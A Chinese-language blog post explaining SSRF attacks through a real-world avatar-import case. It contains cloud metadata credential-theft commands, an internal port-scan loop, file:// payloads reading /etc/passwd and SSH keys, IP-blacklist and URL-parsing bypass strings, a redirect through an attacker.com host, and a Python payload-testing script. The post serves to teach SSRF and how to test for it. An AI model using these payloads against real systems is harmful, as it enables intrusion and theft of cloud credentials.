当前位置: 首页 > news >正文

一个真实案例:图片裁剪引发的数据泄露

某电商平台的用户头像功能,支持「从URL导入头像」。前端传一个图片链接,后端去下载再裁剪。

# 简化后的代码 def fetch_avatar(url): resp = requests.get(url, timeout=5) save_image(resp.content) return "ok"

看着没毛病对吧?但问题是——后端服务器在内网,它可以访问内网资源

攻击者传了这么一个URL:

http://169.254.169.254/latest/meta-data/ram/security-credentials/admin-role

169.254.169.254是所有云厂商的元数据服务端点。只要后端服务器在云上跑,这个请求就能返回该服务器的临时凭证。

结果?该API直接返回了aliyun-access-key-idaccess-key-secretsecurity-token

有了这三样,攻击者可以在云厂商API中以该服务器的身份执行任何操作——创建ECS、下载OSS文件、甚至配置网络规则。

这就是SSRF最经典的杀伤路径:外部可控URL → 内网探测 → 云元数据窃取 → 横向移动

那我们来看看攻击者具体怎么玩。

SSRF的三种常见场景

1. 内网端口扫描

SSRF最常见的用法是探测内网。攻击者构造一个循环,挨个扫描内网IP和端口:

# 遍历内网C段 for ip in 10.0.0.{1..254}; do for port in 22 80 443 3306 6379 8080 9200; do curl "http://target.com/fetch?url=http://$ip:$port/" done done

通过响应时间差、返回内容、状态码来判断端口是否开放。如果返回了某些服务的Banner,那直接喜提内网资产信息。

实际场景中我还见过更狠的——攻击者不是手动扫,而是用脚本配合Burp Suite的Intruder,一个接口10分钟就扫完整个内网。

2. 云元数据攻击

前面提到的元数据端点,各云厂商地址不同:

云厂商元数据端点AWShttp://169.254.169.254/latest/meta-data/阿里云http://100.100.100.200/latest/meta-data/腾讯云http://metadata.tencentyun.com/latest/meta-data/华为云http://169.254.169.254/openstack/latest/GCPhttp://metadata.google.internal/computeMetadata/v1/

攻击者拿到凭证后,通常执行以下操作:

# 1. 获取RAM角色名称 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ # 2. 获取临时凭证 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ecs-role # 3. 用凭证操作云API aliyun ecs DescribeInstances --region cn-hangzhou \ --access-key-id <STS.xxx> \ --access-key-secret <xxx> \ --security-token <xxx>

3. 文件协议读取

有些服务端不仅支持HTTP,还支持file://协议:

import requests # 漏洞代码:未限制协议类型 def read_resource(url): if url.startswith('http'): return requests.get(url).text # 但支持 file:// return open(url.replace('file://', '')).read()

攻击者可以构造:

file:///etc/passwd file:///proc/self/environ # 环境变量,可能泄露数据库密码 file:///proc/self/fd/1 # 日志文件,寻找敏感信息 file:///root/.ssh/id_rsa # SSH密钥

SSRF绕过手法大全(攻击者视角)

防御方最常见的做法是「黑名单IP」或「白名单域名」。然而…每种方案都有对应的绕过方式。

绕过IP黑名单

你以为禁止了127.0.0.1就安全了?

# 十进制IP http://2130706433/ # 等价于 127.0.0.1 http://0x7f000001/ # 十六进制 http://0x7f.0x0.0x0.0x1/ # 混合进制 # 短格式 http://127.1/ # 等价 127.0.0.1 http://0/ # 等价 0.0.0.0 # IPv6映射 http://[::1]/ # localhost的IPv6 http://[0:0:0:0:0:ffff:127.0.0.1]/ # DNS重绑定(经典的SSRF绕过大法) # 注册一个域名,第一次解析到合法IP,第二次解析到内网IP http://ssrf-bind.example.com/

DNS重绑定是最骚的绕过方式。原理很简单:攻击者注册一个域名,配置极短的TTL(比如1秒),让域名在两个IP之间来回切换。第一次DNS查询返回合法IP(通过白名单检查),第二次查询(发起实际请求时)返回内网IP。

我写过一个小工具演示这个过程:

import socket import time # 模拟DNS重绑定攻击 domain = "evil.dnsrebind.example.com" real_ip = socket.gethostbyname(domain) # 第一次查询:返回8.8.8.8(看起来安全) print(f"第一次解析: {real_ip}") # 等待TTL过期(通常设1-5秒) time.sleep(2) # 第二次查询:返回10.0.0.1(内网地址) rebound_ip = socket.gethostbyname(domain) print(f"第二次解析: {rebound_ip}")

绕过URL解析差异

很多防御方案用urllib.parse来解析URL做校验,但发起请求时用的却是requestscurl。这两个库的URL解析逻辑有差异,攻击者可以利用这一点。

# 防御方校验(用urllib) parsed = urllib.parse.urlparse(url) # parsed.hostname = "baidu.com" ✅ 看起来没问题 # 实际请求用(用requests) # 实际请求去了 http://10.0.0.1:80/

构造方式示例:

# 利用@符号解析差异 http://baidu.com@10.0.0.1:80/admin # 利用#符号截断 http://10.0.0.1:80#@baidu.com # 利用DNS命名规范(下划线在某些实现中被忽略) http://baidu_com.10.0.0.1/ # URL编码 http://127.0.0.1%2f%2f%2fbaidu.com

绕过302跳转

有些系统会检查目标URL是否在白名单内,但攻击者可以构造一个「中间人」域名:

# 攻击者搭建一个服务器 # 第一次请求 → 返回302跳转到内网地址 curl "http://target.com/fetch?url=http://attacker.com/redirect" # 跳转到 http://169.254.169.254/latest/meta-data/

如果后端不检查跳转目标(allow_redirects=True),这就是一个经典的SSRF利用方式。

实战代码:SSRF漏洞检测工具

下面是我在实战中常用的一款轻量检测脚本(Python3),可以帮助快速验证SSRF是否存在:

#!/usr/bin/env python3 """ SSRF漏洞快速验证工具 用法: python3 ssrf_check.py <target_url> <param_name> 示例: python3 ssrf_check.py "http://example.com/fetch" "url" """ import requests import sys import time from urllib.parse import urljoin # 测试Payload列表 PAYLOADS = { "本地回环": [ "http://127.0.0.1:80/", "http://localhost:80/", "http://[::1]:80/", "http://0:80/", "http://0.0.0.0:80/", "http://2130706433:80/", ], "云元数据": [ "http://169.254.169.254/latest/meta-data/", "http://100.100.100.200/latest/meta-data/", "http://metadata.tencentyun.com/latest/meta-data/", ], "内网常见端口": [ "http://172.16.0.1:22/", "http://10.0.0.1:80/", "http://192.168.1.1:3306/", "http://10.0.0.1:6379/", "http://10.0.0.1:9200/", "http://10.0.0.1:27017/", ], "文件读取": [ "file:///etc/passwd", "file:///proc/self/environ", ], } def check_ssrf(base_url, param): """ 对指定参数注入SSRF测试payload,根据响应判断是否存在漏洞 """ print(f"[*] 目标: {base_url}") print(f"[*] 参数: {param}") print("=" * 60) for category, urls in PAYLOADS.items(): print(f"\n[+] 测试类别: {category}") for test_url in urls: try: params = {param: test_url} start = time.time() resp = requests.get( base_url, params=params, timeout=8, allow_redirects=False ) elapsed = time.time() - start # 判断依据: # 1. 状态码200且有响应体 → 可能是成功 # 2. 响应时间异常(连接超时或拒绝)→ 端口可能开放 # 3. 响应内容包含特定字符串 indicators = [ resp.status_code == 200, elapsed > 2, # 连接成功但没数据 "root:" in resp.text, # /etc/passwd特征 "secret" in resp.text.lower(), "access-key" in resp.text.lower(), ] if any(indicators): print(f" ⚠️ {test_url}") print(f" 状态: {resp.status_code}, 耗时: {elapsed:.2f}s") if resp.text: preview = resp.text[:200].replace('\n', '\\n') print(f" 响应: {preview}...") else: print(f" - {test_url} → {resp.status_code}") except requests.exceptions.Timeout: print(f" ⏱ {test_url} → 超时(可能端口开放)") except requests.exceptions.ConnectionError: print(f" ✗ {test_url} → 连接拒绝")
http://www.jsqmd.com/news/1091349/

相关文章:

  • 【Leetcode】合并区间
  • 七到九年级英语梳理
  • 企业开发模式全景图谱:12种方法论的本质、优缺点与选型指南
  • 终极Gmail账号自动生成器:简单快速创建随机邮箱的完整教程
  • AWS VPC 和 ALB 部署规范
  • Adobe GenP 3.0完整教程:免费解锁Adobe CC全系列软件的终极指南
  • CVE-2023-22527漏洞复现:Confluence命令注入与权限校验缺失分析
  • 大模型MoE架构原理与实战:稀疏激活如何实现2%参数高效推理
  • 1234566
  • 高效解决跨平台音乐播放需求:Groove音乐播放器完整实践指南
  • AI Newsletter如何成为工程师的决策操作系统
  • 低功耗单片机MCU芯片主流型号盘点
  • 如何通过开源工具Forza Mods AIO重塑你的极限竞速地平线体验
  • 鸿蒙原生 ArkTS 布局之 padding 内边距:上下左右分别控制的艺术
  • 如何用Nucleus Co-op实现PC游戏分屏:终极免费解决方案
  • 轨迹的蓝图:方程求解与交点计算
  • 探索用 SlideML 让大模型生成 PPT 的实验方法
  • NVMe-snsd性能优化指南:如何调优以获得最佳存储网络性能
  • 众包平台中数据标注任务的质检体系设计——以帮帮星球为例
  • 统计学、数据科学、大数据管理,哪个更适合做数据?2026大学生选方向不迷路
  • Kettle 定时任务实战:从Kitchen/Pan脚本到系统调度全解析
  • 3个颠覆性改变:NoFences如何重构你的Windows桌面思维
  • 记录无人机的安全按键以及安全指示灯
  • 互联网大厂Java面试实录:JVM、Spring Cloud、Redis高并发、Kafka与AI RAG综合能力全考察
  • AI 编程工具怎么系统学习?从 Cursor、Codex 到 Claude Code、Kiro
  • 如何在3分钟内免费获取百度文库完整文档?127行代码的完美解决方案
  • Ansible工作架构与原理详解
  • 【锦图简历 · 简历诊断与面试助手】HR 视角七维自查:让简历脱颖而出
  • SpringBoot自动装配和starter
  • design-resources-for-developers:开发者需要的设计资源,这一个仓库全齐了